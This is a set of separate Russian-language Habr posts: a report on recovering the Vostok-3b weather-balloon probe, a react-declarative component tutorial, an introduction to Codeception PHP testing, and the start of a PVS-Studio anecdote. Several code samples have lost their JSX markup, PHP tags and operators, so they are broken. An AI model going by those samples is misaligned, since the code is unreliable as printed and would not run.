Тент. Помните видео крушения Vostok-2? Чтобы снизить нагрузку на горловину во время надува шара, было принято решение *поднадуть* шар под тентом, а потом уже фиксировать его положение исключительно тентом, не держать за горловину. Как-то так:

Так и сделали, но… вы помните видео крушения Vostok-3a? :) Честно говоря, еще когда я увидел этот тент, закрались в мою голову сомнения насчет целесообразности и его и перчаток. Ну какие перчатки, если у нас тент из мешковины с гвоздями? Сие сомнение было озвучено, но демократия страшная сила и мой голос был отклонен — все в перчатках, кроме шара. Шар в тенте. Крушение конечно произошло не по причине грубого материала тента или каких-то не тех перчаток
**но результат вы видели**

Перейдем к хорошим новостям. Потеряв L-800, мы вспомнили про запасной L-300. За пару минут перемонтировали нагрузку к нему, закачали остатки гелия (а это было чуть меньше нужного количества) и отпустили, не питая особых надежд. Но он взлетел плавно и ровно!
Vostok-3b успешно стартовал и, по опыту первого запуска, мы собрались и двинули домой. Искать нам его предстояло минимум на следующий день, а то и на следующей неделе (все же по будням люди заняты на работах).
Поиск и спасение
----------------
> В этом разделе не будет абсолютно ничего технического, это больше похоже на описание приключений. Так что кому это не интересно — смело пролистывайте до результатов.
И ехали мы примерно час (а до дома оставалось еще 3), пока поисковый трекер не прислал мне сообщение что он остановился… Проведя форум прямо там, на обочине, мы решили: не ну а чо? Время еще не позднее, до места падения ехать полтора часа, упал он, похоже, рядом с какой-то дорогой — поехали, быстро цапнем и домой разбираться? Разумеется мы поехали. Ехали час и трекер прислал — я двигаюсь!

Нуштош, время еще не позднее, постоим, подождем. На этот раз ждали не долго — он снова прислал **Movement Stop**.

В этот раз подальше от трасс, но спутниковые снимки показывали наличие деревни неподалеку. Это обнадеживало. От нее какая-то сотня метров то ли по лесу, то ли по полю — там не ясно, но мы выдвинулись… Приехав на место уже в сумерках, мы выгрузились в месте, где дорога терялась, взяли снарягу и двинули пешком. Проплутав часик, стемнело окончательно, а перед нами маячила нехорошего вида лесополоса. Знаете, именно в этот момент я взял со всех обещание — больше **никогда не пытаться искать зонд в день запуска**. Это мертвая затея, поверьте. Запустили и езжайте домой отдыхать. Ничего с ним не будет, полежит недельку, другую — не испортится! Мы вернулись к машине и поехали домой. А зонд… Опять прислал движение...

Но мы уже летели домой, строить планы на поиск и спасение через неделю. Среди планов на полном серьезе рассматривалась возможность поднять этот зонд квадрокоптером и принести нам. Я даже проводил дома испытания грузоподъемности Mavic Mini 2, но он осилил только 750г. Ок, эта идея отпала.
Окончательная точка падения была в 8км от того места, где мы плутали в день запуска. Местность, судя по всему, совершенно безлюдная, так что только если медведи унесут. А их мы потом тоже найдем, так что все ок.

Итак, давайте осмотримся, что там, в этих координатах? Зонд лежит на берегу реки "Смердомка", ближайший райцентр — Смердомский. А ехать нам в пятницу 13го. Так себе знаки… Но желание получить данные с зонда сделало всех участников команды несуеверными, так что начали строить варианты подхода/подплыва/подлета к точке.
Главный конструктор полезной нагрузки выдвинул предложение: раз зонд на берегу речки — надо идти по речке. Сопротивляться никто не стал. Во-первых: он особо никого и не спрашивал, а во-вторых: ну было интересно на лодке покататься, чего уж там :)
Хорошо, вы уже видели в бухгалтерии расходы на аренду лодки с мотором — вот она. Проблема оказалась в другом — подобраться к этой речке с лодкой не так-то просто. Лодка с мотором весит прилично, а речка подходит к дороге в местах, расположенным довольно далеко от зонда. Значит если придется оттуда плыть — плыть придется далеко и долго. Мы накидали 3 маршрута.

**Start-1**: доезжаем до поселка Смердомский, там спускаемся на воду и примерно 15км идем на лодке по реке. 15км это очень много для нас, но из плюсов — хороший подъезд к речке на машине (не надо тащить лодку с мотором на руках).
**Start-2**: доезжаем до поселка Турандино, оттуда… а оттуда не понятно. На каких-то картах там есть водные пути, на каких-то болота, на каких-то тропы. В общем — не ясно. Но по речке идти сильно меньше.
**Start-3**: Доезжаем до Пучнино (по официальной переписи там проживало 8 человек несколько лет назад. Сейчас — неизвестно). Дальше дорога до реки становится просекой. При хорошей погоде просека должна быть проходимой для обычного седана. По реке идти всего 3.3км
Я считаю, что человек развивался сотни тысяч лет не для того чтобы страдать, так что мы выбрали самую простую (как нам тогда казалось) точку старта — точку **№3** (между собой мы называли ее "северная").
### День первый
Просека оказалась… лесовозной дорогой, созданной лесовозами для лесовозов. Отнюдь не для нашего авто. Тем не менее мы решили рискнуть и проехать по ней, тем более, что большие грязевые колдобины виднелись только в начале, далее шла приемлемая дорога. По странному стечению обстоятельств у меня не сохранилось ни фото, ни видео с демонстрацией этой местности (это мы потом спросим с нашего оператора), так что просто поверьте — она непроходима для легковых авто. Мы даже катались там по соседним полям в надежде найти объезд, несколько раз увязли в грязи, но все тщетно. В итоге мы *пропрыгали* примерно километр, полтора по лесовозной, еще немного проехали по относительно ровной поверхности и уперлись в совсем плохое покрытие. С этого момента всем стало ясно — дальше мы точно не поедем. Доставать нас оттуда будет некому в случае чего.
Вернулись обратно и поехали на точку **№1**. Она же — восточная. От нее долго по реке, но, зато нормальный подъезд прямо к берегу. Ну не зря же мы лодку с мотором перли?

Мы так увлеклись идеей покататься на лодке, что даже не обратили внимания на саму речку. А это оказалась "речка Шредингера" — она вроде и есть, но ее вроде и нет.


Сильно позже мы узнали, что более-менее судоходной она, в лучшем случае, становится только весной. А в августе ее средняя глубина — полметра. Средняя. Да, это создает проблем для мотора, но у нас были и весла. А спустя метров 10-15 мы нашли проблему и для весел — пороги. Да, речушка оказалась очень порожистой, камни выступали над поверхностью воды. Это означало, что лодку придется через них перетаскивать. Дальше было 2 новости: хорошая и плохая. Хорошая: у нас был вот этот парень:

Он мог тащить лодку. Плохая новость — телепузы (сапоги по грудь) были только у него. Значит лодку ему предстояло тащить вместе с нами. На энтузиазме он проделывал это пару часов, но силы его заканчивались (а нам было нормально). Начали появляться предложения вернуться обратно, потому что мы прошли от силы всего метров 200, а предстояло пройти 15км. В пользу этого предложения послужил еще и тот факт, что с такой средней скоростью продвижения мы доберемся до точки как раз к весне, а там уже сможем пересесть на мотор.
Ок, развернули лодку и пошли обратно. На обратном пути утопили GoPro, которую использовали для съемок этой экспедиции. Честно говоря, никому ее жалко не было, жалко было потерять материалы с нее. Но ребята вознамерились отомстить этой речке за камеру и вернуться за ней с:

… металлоискателем. Это было в другой день и без меня, но:

Они ее нашли!
> И небольшое отступление по материалам. Примерно в середине экспедиции, мне стало лень отписывать родственникам\друзьям как идут дела (там где появялалсь связь, но в 90% местности, где мы обитали — связи не было совсем! ни у кого!) и я решил записать селфи-видео с коротким рассказом: как прошла та или иная вылазка. Это неплохо развеселило ребят и мы решили и дальше так делать. В итоге у нас накопилось некоторое количество видеоматериала с поисков в формате репортажа-отчета. Но. У него нет начала и не установлен контекст (начал снимать то я практически с середины). Так что у меня это все хранится в виде набора разрозненных записей. Возможно, чуть позже, я смонтирую что-то из этого и досниму недостающий контекст, но пока я буду оставлять ссылки на отдельные видео — кто хочет смотрите, кто не хочет — игнорируйте :)
На точку **№2** (западную) никто особо ехать не хотел. Мы уже и так потратили много времени и сил на выяснения окружения точек №1 и №3, так что было принято решение попытать еще раз удачу на северной точке. Но теперь уже без машины. Напомню — подъезд к реке нам нужен был, чтобы не тащить на себе лодку с мотором. Теперь мы знали — никакой ~~ложки~~ речки нет! В худшем случае — снимаем обувь и переходим вброд. Такая идея понравилась всем, даже лодочному фанату.
Приехав к началу лесовозной дороги, мы сгрузились, взяли кому что надо и пошли — нас ожидали 5км пешего пути до речки. Прошли мы их довольно бодро, а в конце нас ждал сюрприз — через речку был мост. Ну как мост… бетонная плита. Но она работала как отличный мост. Это укрепило нашу мысль о том, что лодка в этом путешествии была лишней, так как этот "мост" — непреодолимая преграда для нашей лодки. Ладно, нет смысла сожалеть — мы только на середине пути и надо двигаться дальше. А дальше… дорога, даже лесовозная, закончилась. Совсем. Там было поле высокой травы (под 2 метра высотой), местами примятой под колею. Но колея эта точно оставлена не автомобилями. Мы предположили, что это могли быть охотники на вездеходах, тем более, что по пути мы видели несколько лабазов (специальные охотничьи укрепления, к которым загоняется зверь и оттуда по нему ведется огонь). Поле это то и дело пересекал бурелом, лес, овраги и т.п. В общем — недружелюбная среда. Еще эти лабазы… И в такой обстановке нам предстояло еще 5км пути. Время было вечернее. Посовещавшись, мы решили — никто не пойдет в этот лес/поле ночью. Даже если мы к полуночи придем на точку — надо будет еще дойти обратно. Слишком опасно. Но план — пробраться именно здесь, этой дорогой — выглядел хорошо. Так что мы решили заночевать неподалеку. Километрах в 20 проходило шоссе, а где шоссе — там и мотели. План "А" на этот счет был таким: едем ночуем в мотель, утром, пораньше, выдвигаемся на северную точку и снова: 5км по лесовозной + 5км по буреломам. На этом закончился наш первый день спасения Vostok-3b.
И вот короткое видео, где я рассказываю все то же самое:
### День второй
Переночевав в сомнительного вида мотеле (где, к тому же, ночью у нас в номере прорвало трубу канализации), мы поднялись в 6 утра, в 7 позавтракали и выдвинулись на северную точку. План был надежный, как швейцарские часы — просто идем всю дорогу пешком, берем зонд и так же уходим. Ну что тут может сломаться?! Мы же полетали там на коптере и увидели вполне проходимое поле! Ну вот примерно такое:

Наш план на начало второго дня:
Кадр из видео с квадрокоптера. Согласитесь — вполне нормально. Оказалось, что нет… Начиная от моста шла вездеходная колея, по которой мы и пошли. Вне колеи эта трава была высотой под 2 метра и она никому не нравилась по двум причинам. Во-первых: змеи. Во-вторых: кабаны. И те и те любят понежиться в травке, а, из-за ее размеров, видимость наша практически нулевая. Мы против убийства животных ради развлечений, но ружье у нас с собой было. Не от змей, конечно, от змей у нас были резиновые сапоги. Проблема заключалась в том, что кабаны спят в траве стаями. А в такой высокой траве увидеть их заблаговременно не получится. В итоге, любая встреча с ними была бы для нас неприятной неожиданностью.
В этот момент, вспомнив Биара Гриллза, в нашем отряде появилась почетная должность отпугивателя "медведей". Мы не знали наверняка — есть они там или нет, но проверять не хотелось. Заключалась эта функция в следующем: были найдены и вручены одному из членов отряда две металлические склянки. Ими он должен был бить друг о друга всю дорогу, оповещая весь лес — мы идем. Как минимум это поднимало нам всем настроение. Не знаю, сработало это против медведей или нет, но медведей мы по пути не видели.
Итак, мы упорно топали по колее, пока не закончилась и она. А до места приземления еще оставалось километра полтора. Мы просто уперлись в сплошную стену 2х-метровой травы (потенциально с полчищами кабанов внутри). Как я уже говорил: ружье у нас с собой, но никто из нас не Рэмбо — одно дело если ты видишь угрозу и можешь приготовиться, другое дело, когда она возникает неожиданно. Это означало только одно — надо возвращаться и пробовать последнюю точку захода "западную". И уже в который раз мы вернулись по знакомой дороге к машине, загрузились и, сильно потеряв в энтузиазме, двинули к западной точке.
Видео отчет за этот период:
И вы не поверите :) По пути нам навстречу попался вот этот парень:

Про встречу вездехода:
Это не просто вездеход. Это — решение абсолютно всех наших проблем! Я долго не мог поверить в такую удачу. Никто не мог. Но, тем не менее, за скромную плату мы арендовали это устройство вместе с водителем и двинулись снова на северную точку. На этот раз ни трава, ни овраги с человеческий рост, ни кабаны — не являлись для нас проблемой.
**Пара видео с демонстрацией его возможностей:**
Мы даже подумывали этот вездеход прямо там и купить, учитывая что его стоимость нас приятно удивила (по сравнению с Питерскими ценами), но хозяин сказал, что ему нужнее. Нуштош...
Думаю уже стало ясно, что до зонда мы добрались легко и без проблем, на месте мы распили шампанского на радостях и так же, благополучно, вернулись к машине.

Результаты
----------
Начнем с главного.
### Высота

25,5 километров! Я нас категорически всех поздравляю — это **сильно лучше** чем у Vostok-1 (19км). Хочу обратить ваше внимание на то, что это шар L-300, с предельной расчетной высотой 21км. У нас он долетел даже выше, за счет того, что мы его не докачали на земле и сильно снизили массу полезной нагрузки. Так что шар качественный, рекомендую.
> Да, и в этот раз я не стал обрезать показания на графиках только до полетного сегмента. Так что тут и части с земли. Посмотрим, как зайдет.
И ложка дегтя: GoPro у нас снова отключилась сильно раньше ожидаемого. Примерно на 6.5км. Но на этот раз я не поленился и наложил телеметрию на видеоряд (уже в постпроцессинге, дома). Фото вы могли видеть в заголовке статьи, а теперь полное видео в 4k 30fps:
**Бонус-видео для инстаграмма:**
И оно нам всем сильно нравится, потому что тут есть проход облаков ;)
В качестве источников телеметрии выступали как сама GoPro (да, к 4-му году обладания этой камерой я вдруг узнал, что она тоже пишет телеметрию), так и наш RPI (для данных, которыми не обладает GoPro). Вот список показателей и источники:
| Показатель | Источник |
| --- | --- |
| Высота | GoPro 7 black |
| Вращение | GoPro 7 black |
| Скорость (3D) | GoPro 7 black |
| Маршрут GPS | GoPro 7 black |
| Дистанция | GoPro 7 black |
| Компас | GoPro 7 black |
| Акселерометр | GoPro 7 black |
| Давление | RPI Sense Hat |
| Влажность (внутри) | RPI Sense Hat |
| Температура внутри | RPI Sense Hat |
| Температура снаружи | TEMPer Gold USB Temperature Sensor |
Для видео я решил преимущественно использовать показания с самой камеры, ну потому что они нам показались надежней, да и синхронизировать их не надо.
### Влажность

Честно говоря, увидев облака, я расчитывал на другую картинку. Ну, логично предположить, что в облаках влажность сильно выше? Вроде логично. Но тут мы видим что-то другое: влажность всегда падает с высотой. Даже там где облака. У меня есть теория на этот счет:
1. датчик влажности внутри бокса, а он закрыт.
2. размеры бокса мы сильно уменьшили (и его внутренний объем уменьшился).
Учитывая эти два факта, я могу предположить, что RPI просто испарял влагу вокруг себя, тем самым ломая нам показания. Эта теория слегка подтверждается показаниями внутреннего термометра — температура росла сильнее, чем у Vostok-1.
> Ну а скачок в конце — это дождик пошел уже на земле. Бокс неплохо затопило, не по крышку, конечно, но когда мы его подняли из него вытекло пару литров воды.
### Температура внутри

Это Vostok-3b. Пока лежал на земле, и немного поднялся — температура скакнула на 15 градусов по Цельсию! В отличие от:

Vostok-1. Где разница температур (правда не учитывая лежания на земле) составила всего 5-6 градусов по Цельсию.
Тем не менее, наш климат-контроль удерживал RPI и павербанки в диапазоне рабочих температур. Так что свою функцию он выполнил на все 100.
### Температура снаружи

Тут никаких откровений: чем выше — тем холоднее. Видим некоторые флуктуации на высоте, которые мы видели и у Vostok-1. Видим все тот же провал после -50 — наш градусник ниже не умеет. Все ожидаемо.
### Давление

А вот тут разница с Vostok-1 есть. Хоть и ожидаемая: раз мы поднялись повыше, то и давление там поменьше. Vostok-3b зафиксировал минимальное давление в 19.8mbar. Если что, то это 1/50 часть атмосферы. Напомню результат Vostok-1:

58mbar. Почти втрое выше, чем у Vostok-3b и все еще экстремально низко для людей :)
### Вращение
Этого показателя раньше не было, но я его добавлю для обоих аппаратов, т.к. мы добавили боковые стабилизаторы и хотелось бы понять — имеют они смысл или нет?
Вращение Vostok-1:

Вращение Vostok-3b:

Хм. Ну, мне сложно сказать что-то однозначно. Могу лишь сказать — амплитуда колебаний со стабилизаторами меньше. Что нам это дает? Я не особо понимаю, если честно. Ну да, крутит поменьше, но и в первый раз вполне можно было разобрать пейзаж. Т.е. разница до/после не такая критичная. Да и не факт, что это эффект от стабилизаторов: может просто погода менее ветреная была?
Если у кого-то есть мысли на этот счет — просьба отписать в комментариях. Я добавлю/поправлю.
### Время
Время в этот раз для нас было важно, так как мы поменяли источники питания для всех систем на павербанки вдвое меньшей емкости. И хотелось бы понять — можем мы их еще *подрезать* или уже все. Сравнивать конечно будем Vostok-1 и Vostok-3b. Напомню, оба шара в этих аппаратах были L-300: массой 300г и с предельной высотой 21км. Первый достиг 19км, второй 25,5км. Vostok-1 имел каждый powerbank емкостью 20000mAh, Vostok-3b — 10000mAh. GoPro сейчас в расчет не берем, т.к. она, по моему мнению, выключалась не от истощения внешнего павербанка.
| | Vostok-1 | Vostok-3b |
| --- | --- | --- |
| Время функционирования RPI | 25:51:48 | 11:26:42 |
| Время полета | 1:02:53 | 3:17:15 |
Ну что же. Определенно зависимость между емкостью аккумуляторов и временем жизни телеметрического модуля есть. Но мы видим — время жизни Vostok-3b все еще сильно больше его времени полета. Значит есть куда уменьшать емкость, а значит — можно сделать полезную нагрузку еще меньше (даже с учетом того, что оставшиеся 4.5км до целевой высоты зонд будет подниматься еще пару часов). Но резать советую только аккумулятор для RPI, GoPro была проверена на земле и 10000mAh ей хватает впритык.
### GPS
Тоже нечто новое. На этот раз я захотел проследить весь полет зонда по карте и решил построить трек по показаниям бортовой GPS HAT. Я построил. И перестроил. И все равно был недоволен. Вот что оно мне показывало:

На самом деле, там таких сегментов (схожей формы) несколько. Этот конкретно — последний по времени. Я его привел для сравнения мест посадки. Помимо того, что между сегментами значительные разрывы, там пара точек еще как-то оказалась в тихом океане.
А вот трек с поискового трекера:

Основная проблема — сильно разные конечные точки. Вот эта разница на карте:

Нет, я конечно не исключаю, что где-то в недрах документации можно раскопать способ калибровки и/или компенсации погрешности, но **сорок километров**?
Это еще раз говорит о том, что если кто-то вздумает, что можно сэкономить на трекере и использовать *что-то попроще* — не надо. Вы потом никогда его не найдете. Вдобавок не забывайте — GSM связи там нет. Совсем! Если вы выберете трекер, который передает координаты по GSM — вы его никогда не найдете.
Так же добавлю упущенный в прошлый раз момент — точность прогноза траектории. Хорошая. Вот что у нас было предсказано (синяя стрелка указывает на реальную зону посадки):

Учтите, что мы строили маршрут с условием подъема до высоты 30км, до которой мы немного не добрались.
Как и в прошлый раз оставляю ссылки на полную телеметрию:
[Оригинал](https://github.com/ArtemKiyashko/ProbeLoggerArticle2/raw/master/telemetry/08082021.csv)
[Мои изыскания](https://github.com/ArtemKiyashko/ProbeLoggerArticle2/raw/master/telemetry/08082021.xlsx)
На этом с результатами закончим. Подведем короткие выводы и пофантазируем о будущем.
Выводы
------
На самом деле все хорошо, несмотря на то, что мы потеряли основной для 3го запуска шар (Vostok-3a). Vostok-3b превзошел наши ожидания. Но снова подвела камера… На ее счет у меня тоже есть предположение: помните в первой части я обещал, что мы больше не будем оставлять в ней внутренний аккумулятор и запитаем только от внешнего? Мы этого не сделали. Не сделали потому, что побоялись, что 10000mAh может не хватить и оставили и внутренний, и внешний аккумуляторы. И вот, как по моему мнению, развивались события:
1. Включили камеру
2. Включили запись
3. Включили powerbank
4. Произвели неудачный запуск Vostok-3a
5. Выключили камеру (или запись)
6. Павербанк полностью зарядил камеру в этот момент и отключился
7. Перемонтировали нагрузку на новый шар
8. Включили камеру (или запись)
9. Камера питалась только от внутреннего аккумулятора, т.к. павербанк уже был отключен
Видите? Внутренний аккумулятор сыграл с нами плохую шутку — если бы его не было, мы могли бы по внешним факторам (красный огонек на фронтальной стороне) понять — идет запись или нет. А так, получилось, что запись идет всегда — только мы не понимаем от чего. Ну и в суматохе не перепроверили: включен ли павербанк. В подтверждение этому, выступает тот факт, что когда мы нашли и открыли бокс — банка для GoPro была почти полная (а для RPI, соответственно, пустая). Ок, это учтем на будущее (снова).
Немного про будущее. 30км мы так и не достигли — значит продолжаем. Но продолжать зимой — тяжело. Особенно по части поиска и спасения. Так что мы попробуем сделать еще 1 запуск в этом году и, скорее всего, уйдем на каникулы. Запускать попробуем шар L-2000 производства китайских кутюрье. Также, у нас серьезно укрепилась мысль, что нам надо купить тот вездеход. Ну может не тот именно, но такой же. Проведя 2 успешных поиска, мы поняли — нас всегда выручал именно вездеход. Так почему бы не заиметь его себе?
На время каникул я вынашиваю идею все же осилить владение паяльником и переделать *черный ящик* на Arduino. Это сильно снизит массу и тепловыделение этой подсистемы. Ну а этот год долетаем на RPI.
Как вы понимаете, даже если следующий запуск будет успешным и (вдруг!) мы достигнем 30км и по высоте и по видео — писать будет особо нечего. Ну, запуск и спасение останутся, да. Но никаких технических изменений нигде больше не планируется. Так что я пока не уверен — будет ли статья на этот счет или все ограничится нашими инстаграммами. Ну, давайте в этот раз рискну сделать опрос?
На этом все. Fly safe, cmdr! | https://habr.com/ru/post/577184/ | null | ru | null |
# Джентльменский набор React компонентов FullStack разработчика для управления потоком данных
Существует токсичный стереотип, что FullStack разработчики не могут ни в фронт, ни в бек. Как минимум, так как объем работ большой, часто, программирование фронта на React превращается в формошлепство с сомнительным качеством кода. Код копируется без создания компонентов, нет глобального состояния приложения.
В этой статье я приведу примеры использования нескольких компонентов, которые позволят малой кровью выкатить фичу на тестовый стенд так, чтобы код, загружающий данные с сервера, легко поддавался рефакторингу в недалеком будущем.
Лучшее состояние UI для FullStack - отсутствие состояния
--------------------------------------------------------
Так как состояние фронта дублирует структуры данных, объявленные на стороне backend, причиной появления плохого кода скорее всего будет желание сэкономить на их фронтовых описаниях. Как вариант, рискну предложить возродить использование [stateless](https://medium.com/webf/contemporary-front-end-architectures-fb5b500b0231) подхода для простых форм React приложений.
### Функция createProvider
Позволяет вынести какой-либо объект в React контекст. [Вместе с Mobx](https://mobx.js.org/observable-state.html#creating-observable-state) может быть использована для создания общего controller-а для вложенных view-шек. В методах анонимного класса `getPosts` и `getPostById` используется функция `fetchApi`- алиас для `fetch(...).then((data) => data.json())`
```
import { createProvider, fetchApi } from 'react-declarative';
const [BlogApiProvider, useBlogApi] = createProvider(
() => new class {
getPosts = () =>
fetchApi("https://jsonplaceholder.typicode.com/posts")
getPostById = (id) =>
fetchApi(`https://jsonplaceholder.typicode.com/posts/${id}`)
}
);
export { BlogApiProvider, useBlogApi };
```
### Компонент FetchView
Подходит для загрузки данных и отображения списочных форм без пагинации. Поддерживает загрузку данных из нескольких ручек, список указывается пропcой **state.** После загрузки данных происходит анимация появления списка.
```
import { FetchView } from 'react-declarative'
const PostList = () => {
const { getPosts } = useBlogApi();
const state = [
getPosts,
];
return (
{(posts) => (
{posts.map((post, idx) => (
**{post.title}**
{post.body}
))}
)}
);
};
```
### Компонент Async
В отличие от `FetchView` умеет показывать спиннер (см `CircularProgress`), сигнализирующий пользователю о активной загрузке данных. Если `id` изменится, то запрос выполнится повторно задействуя пропсу `payload`
```
import { Async } from 'react-declarative'
import { CircularProgress } from '@mui/material'
const PostItem = ({
id,
}) => {
const { getPostById } = useBlogApi();
return (
{async (id) => {
const { title, body } = await getPostById(id);
return (
{title}
{body}
);
}}
);
};
```
### Компонент Switch
Роутер, с использованием которого легко настроить кеширование и инвалидацию кеша. Для примера, реализуем ролевую модель.
```
import { createProvider, fetchApi, singleshot } from 'react-declarative';
import sleep from '../utils/sleep';
const roleApiManager = new class {
getRoles = singleshot(async () => {
await sleep(5_000);
return [
'admin',
...
]
});
hasRole = async (role) => {
const roles = await this.getRoles();
return roles.includes(role);
};
unload = () => {
this.getRoles.clear();
};
};
const [RoleApiProvider, useRoleApi] = createProvider(
() => roleApiManager
);
export { roleApiManager, RoleApiProvider, useRoleApi };
```
На странице`'/sample-page'` список ролей может быть потребован в нескольких участках кода, но запрос должен выполниться только один раз. После того, как пользователь покинет страницу, кешированный список ролей должен сброситься.
```
import { Switch } from 'react-declarative';
...
const routes = [
{
path: '/sample-page',
unload: roleApiManager.unload,
},
];
...
const App = () => (
);
```
### Компонент If
Этот компонент осуществит ветвление представления исходя из истинности промиса в `condition`. Он так же умеет перезапрашивать данные при изменении `payload`
```
import { If } from 'react-declarative'
const ProfilePage = () => {
const { hasRole } = useRoleApi();
return (
hasRole("admin")}>
Кнопка только для админа
);
};
```
Краткость сестра таланта
------------------------
Если данные компоненты вызовут интерес среди сообщества, я напишу цикл статей, посвященной упрощению рутины на стороне фронтенда. | https://habr.com/ru/post/676612/ | null | ru | null |
# Codeception — тестирование по-новому
PHP очень популярный язык программирования, но тестирование в нем, это скорее прерогатива экспертов, а не жизненная необходимость. Неужели это от того, что PHP-разработчики поголовно быдло-кодеры? Я считаю, что нет. Скорее всё от того, что системы тестирования порой излишне усложнены. А тесты, наоборот, должны были предельно просты: легко читаться, писаться, отлаживаться, и конечно же, быстро выполняться. Мое виденье того как это можно воплотить в PHP вылилось в проект под названием [Codeception](http://codeception.com).
С ним тесты для ваших веб-приложений могут выглядеть так:
```
php
$I = new TestGuy($scenario);
$I-wantTo('create new blog post');
$I->amOnPage('/blog/posts');
$I->click('Create new post');
$I->fillField('Title','Codeception, a new way of testing!');
$I->fillField('Text','Codeception is new PHP full-stack testing framework.');
$I->click('Send');
$I->see('Congratulations, your post is successfully created!');
```
Согласитесь, такой тест понятен без дополнительных комментариев.
А теперь самое интересное: этот код без всяких изменений может быть выполнен как функциональный тест в фреймворках **symfony**, **Symfony2**,**Zend Framework**, а также в браузерном эмуляторе Goutte и даже через **Selenium**. Таким образом, вам предлагается единый интерфейс для написания функциональных тестов практически для любого сайта.
В [Codeception](http://codeception.com/) в максимально простой форме вы описываете весь тест в виде сценария. Вы повторяете действия пользователя, который использует ваше веб-приложение: кликает по ссылкам, заполняет формы и ожидает увидеть некоторый результат. Логично было бы написать тест, который бы в точности отражал его действия. При этом сам процесс написания теста крайне прост, если в своей IDE вы используете автодополнение:

Codeception работает на трех китах:
— как тестовая среда используется [PHPUnit](http://www.phpunit.de).
— для приемочных тестов — [Mink](http://mink.behat.org/). За него огромная благодарность Константину Кудряшову [everzet](https://habrahabr.ru/users/everzet/).
— и конечно же, [Symfony Components](http://symfony.com). Они используются практически для всего. Особо стоит отметить BrowserKit, который используется для функциональных тестов.
Чтобы начать, установите Codeception через PEAR:
```
$ pear channel-discover codeception.com/pear
$ pear install codeception/Codeception
```
Теперь установите необходимые зависимости.
```
$ codecept install
```
Выберите проект, который вы хотите тестировать и выполните в его корне команды
```
$ codecept bootstrap
$ codecept build
```
Команда «bootstrap» создаст конфигурационный файл и папку tests для трех категорий тестов:
— unit
— functional
— acceptance
Тут важно отметить, что мы различаем функциональные и приемочные тесты. Последние требуют наличие веб-сервера, на котором и будет проходить тестирование посредством того же Goutte или Selenium. Функциональные запускают приложение внутри самого теста, как это, например, происходит при тестирвоании в Symfony или Zend Framework.
Проще всего начать с написания приемочного теста. В каталоге tests/acceptance создадим новый файл StartPageCept.php:
```
php
$I = new WebGuy($scenario);
$I-wantToTest('front page of my site');
$I->amOnPage('/');
$I->see('A sample text on my site');
```
Он проверяет, что на главной странице вашего сайта есть текст: 'A sample text on my site'. Впишите в see текст, который там действительно есть, и ваш тест готов к прогонке.
Но прежде чем запустить его, вспомним, что приемочные тесты требуют, чтобы сайт выполнялся внутри веб-сервера. А значит необходимо сообщить url через который можно получить доступ к нашему сайту. Откроем файл: tests/acceptance.suite.yml
```
config:
PhpBrowser:
url: 'тут мы впишем url к главке'
```
Теперь выполните.
```
$ codecept run acceptance
```
И увидите что-то типа такого:
```
Suite acceptance started
Trying to see front page of my site (StartPageCept) - Ok
Time: 1 second, Memory: 21.00Mb
OK (1 test, 1 assertions)
```
Теперь можно приступить к написанию более сложных тестов для своего приложения. Например, вот так может выглядеть тест для авторизации на сайте:
```
php
$I = new WebGuy($scenario);
$I-wantTo('log in as regular user');
$I->amOnPage('/login');
$I->fillField('Username','davert');
$I->fillField('Password','qwerty');
$I->click('Login');
$I->see('Hello, davert');
?>
```
Больше о написании тестов читайте в [документации](http://codeception.com/).
Чтобы выполнить один из этих тестов внутри фреймворка, следует скопировать тест в 'tests/functional', и отредактировать файл test/functional.suite.yml.
Приведу пример для Symfony2, но абсолютно аналогично вы можете подключить Zend Framework или symfony, а также Doctrine1 или Doctrine2.
```
class_name: TestGuy
modules:
enabled: [Symfony2, TestHelper]
```
Так мы указали модуль Symfony2 для использования в функциональных тестах. Если ваш AppKernel находится стандартно, в папке 'app', тест будет выполнен без дополнительной конфигурации.
Для запуска функциональных тестов следует использовать:
```
$ codecept run functional
```
Расскажу о модулях. В модулях определены действия, которые доступны при написании тестов. В классе описания сценариев TestGuy или WebGuy доступны методы взятые с нескольких модулей.
Модули также реализуют интеграцию с разными библиотеками практически без настройки и совершенно не требуют установки дополнительных плагинов или бандлов в ваше приложение.
Codeception не только выполняет тесты, но так же старается с нуля создать необходимую среду для тестирования. Важной частью тестирования является приготовление базы данных и её очистка.
Реализуется она посредством модуля Db. Создайте тестовую базу данных и заполните её данными, необходимыми для тестирования. Можно делать это вручную или используя фикстуры. Создайте дамп базы и поместите его в папку tests/\_data. Затем откройте конфигурационный файл codeception.yml в корне вашего проекта и впишите для модуля Db параметры доступа к базе данных и путь к дампу. Теперь, если вы добавите модуль Db к списку модулей в файле tests/acceptance.suite.yml или functional.suite.yml, база данных будет обновляться автоматически после каждого теста.
Впрочем, это не единственный способ очистки. Если вы используете Doctrine или Doctrine2, то соответствующие модули помещают все ваши запросы в транзакцию и выполняют rollback в конце.
Таким образом база данных не засоряется, а значит и постоянная очистка ей не нужна. Такие тесты будут работать очень быстро, но транзакции доступны только в функциональных и юнит-тестах.
Более полную документацию вы найдете на [официальном сайте](http://codeception.com/). Там доступны как обзорные материалы, так и описания конкретных модулей.
Codeception сейчас находится в стадии бета-тестирования и ваши отзывы будут крайне желательны.
Следите за проектом на [GitHub](https://github.com/codeception/codeception). | https://habr.com/ru/post/136477/ | null | ru | null |
# Как PVS-Studio оказался внимательнее, чем три с половиной программиста

PVS-Studio, как и другие статические анализаторы кода, часто выдаёт ложные срабатывания. Но не стоит спешить считать странные срабатывания ложными. Это короткая история о том, как PVS-Studio вновь оказался внимательнее нескольких человек.
Нам в поддержку написал пользователь, утверждая, что анализатор выдаёт сразу четыре ложных срабатывания на одну строчку кода. Письмо, написанное в поддержку, изначально попало к Евгению Рыжкову, который, бегло прочитав его и не заметив аномального в фидбеке, сразу переслал его ведущему разработчику Святославу Размыслову. Евгений не всматривался в код, так что будет честно посчитать его только за половину программиста :).
Святослав прочитал письмо и засомневался, что анализатор мог так грубо ошибиться. Поэтому он пришёл ко мне на консультацию. У Святослава была надежда, что мой глаз намётан и я замечу что-то такое, что подскажет, почему анализатор выдал все эти странные сообщения. К сожалению, я только подтвердил, что сообщения действительно очень странные и их не должно быть. Однако что же послужило причиной их возникновения, я заметить не смог. Было решено открыть задачу в багтрекере и начать разбираться, что же не так.
И только когда Святослав начал делать синтетические примеры, чтобы подробно расписать проблему в багтрекере, на него снизошло озарение. Давайте теперь посмотрим, сможете ли вы быстро найти причину, почему анализатор выдаёт 4 сообщения.
Вот текст письма, публикуемый с разрешения автора. И поясняющая картинка, которая была прикреплена к письму.
